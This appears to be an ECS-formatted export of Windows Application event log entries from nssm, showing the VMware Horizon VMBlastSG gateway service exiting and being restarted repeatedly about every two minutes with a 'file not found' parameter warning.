{"@timestamp":1646756152418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158656","0"]}}},"module":"Application","provider":"nssm","sequence":162082}}
{"@timestamp":1646756152419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158656","158656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162083}}
{"@timestamp":1646756152435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162084}}
{"@timestamp":1646756152435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162085}}
{"@timestamp":1646756152436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162086}}
{"@timestamp":1646756152437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162087}}
{"@timestamp":1646756280931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162088}}
{"@timestamp":1646756280932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162089}}
{"@timestamp":1646756280933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159288","0"]}}},"module":"Application","provider":"nssm","sequence":162090}}
{"@timestamp":1646756280933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159288","159288","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162091}}
{"@timestamp":1646756280948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162092}}
{"@timestamp":1646756280949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162093}}
{"@timestamp":1646756280949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162094}}
{"@timestamp":1646756280950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162095}}
{"@timestamp":1646756409472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162096}}
{"@timestamp":1646756409473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162097}}
{"@timestamp":1646756409474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158352","0"]}}},"module":"Application","provider":"nssm","sequence":162098}}
{"@timestamp":1646756409475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158352","158352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162099}}
{"@timestamp":1646756409492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162100}}
{"@timestamp":1646756409493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162101}}
{"@timestamp":1646756409493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162102}}
{"@timestamp":1646756409494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162103}}
{"@timestamp":1646756538100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162104}}
{"@timestamp":1646756538101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162105}}
{"@timestamp":1646756538101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159076","0"]}}},"module":"Application","provider":"nssm","sequence":162106}}
{"@timestamp":1646756538102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159076","159076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162107}}
{"@timestamp":1646756538118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162108}}
{"@timestamp":1646756538119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162109}}
{"@timestamp":1646756538119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162110}}
{"@timestamp":1646756538120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162111}}
{"@timestamp":1646756666628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162112}}
{"@timestamp":1646756666630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162113}}
{"@timestamp":1646756666631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158432","0"]}}},"module":"Application","provider":"nssm","sequence":162114}}
{"@timestamp":1646756666631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158432","158432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162115}}
{"@timestamp":1646756666647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162116}}
{"@timestamp":1646756666648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162117}}
{"@timestamp":1646756666648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162118}}
{"@timestamp":1646756666649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162119}}
{"@timestamp":1646756795154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162120}}
{"@timestamp":1646756795155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162121}}
{"@timestamp":1646756795157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157892","0"]}}},"module":"Application","provider":"nssm","sequence":162122}}
{"@timestamp":1646756795157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157892","157892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162123}}
{"@timestamp":1646756795173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162124}}
{"@timestamp":1646756795174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162125}}
{"@timestamp":1646756795174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162126}}
{"@timestamp":1646756795175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162127}}
{"@timestamp":1646756923679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162128}}
{"@timestamp":1646756923679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162129}}
{"@timestamp":1646756923681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158080","0"]}}},"module":"Application","provider":"nssm","sequence":162130}}
{"@timestamp":1646756923681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158080","158080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162131}}
{"@timestamp":1646756923698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162132}}
{"@timestamp":1646756923698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162133}}
{"@timestamp":1646756923699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162134}}
{"@timestamp":1646756923700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162135}}
{"@timestamp":1646757052582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162136}}
{"@timestamp":1646757052583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162137}}
{"@timestamp":1646757052584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158528","0"]}}},"module":"Application","provider":"nssm","sequence":162138}}
{"@timestamp":1646757052584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158528","158528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162139}}
{"@timestamp":1646757052601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162140}}
{"@timestamp":1646757052602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162141}}
{"@timestamp":1646757052602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162142}}
{"@timestamp":1646757052603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162143}}
{"@timestamp":1646757181091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162144}}
{"@timestamp":1646757181092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162145}}
{"@timestamp":1646757181093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158852","0"]}}},"module":"Application","provider":"nssm","sequence":162146}}
{"@timestamp":1646757181093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158852","158852","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162147}}
{"@timestamp":1646757181109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162148}}
{"@timestamp":1646757181109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162149}}
{"@timestamp":1646757181110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162150}}
{"@timestamp":1646757181111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162151}}
{"@timestamp":1646757309600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162152}}
{"@timestamp":1646757309600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162153}}
{"@timestamp":1646757309601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159520","0"]}}},"module":"Application","provider":"nssm","sequence":162154}}
{"@timestamp":1646757309601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159520","159520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162155}}
{"@timestamp":1646757309617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162156}}
{"@timestamp":1646757309617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162157}}
{"@timestamp":1646757309618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162158}}
{"@timestamp":1646757309619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162159}}
{"@timestamp":1646757438130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162160}}
{"@timestamp":1646757438132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162161}}
{"@timestamp":1646757438133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159336","0"]}}},"module":"Application","provider":"nssm","sequence":162162}}
{"@timestamp":1646757438133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159336","159336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162163}}
{"@timestamp":1646757438149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162164}}
{"@timestamp":1646757438150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162165}}
{"@timestamp":1646757438150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162166}}
{"@timestamp":1646757438151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162167}}
{"@timestamp":1646757566673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162168}}
{"@timestamp":1646757566674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162169}}
{"@timestamp":1646757566675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158988","0"]}}},"module":"Application","provider":"nssm","sequence":162170}}
{"@timestamp":1646757566675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158988","158988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162171}}
{"@timestamp":1646757566691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162172}}
{"@timestamp":1646757566692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162173}}
{"@timestamp":1646757566693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162174}}
{"@timestamp":1646757566693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162175}}
{"@timestamp":1646757695191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162176}}
{"@timestamp":1646757695193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162177}}
{"@timestamp":1646757695194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156152","0"]}}},"module":"Application","provider":"nssm","sequence":162178}}
{"@timestamp":1646757695194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156152","156152","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162179}}
{"@timestamp":1646757695210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162180}}
{"@timestamp":1646757695210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162181}}
{"@timestamp":1646757695211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162182}}
{"@timestamp":1646757695212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162183}}
{"@timestamp":1646757823718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162184}}
{"@timestamp":1646757823720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162185}}
{"@timestamp":1646757823721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158924","0"]}}},"module":"Application","provider":"nssm","sequence":162186}}
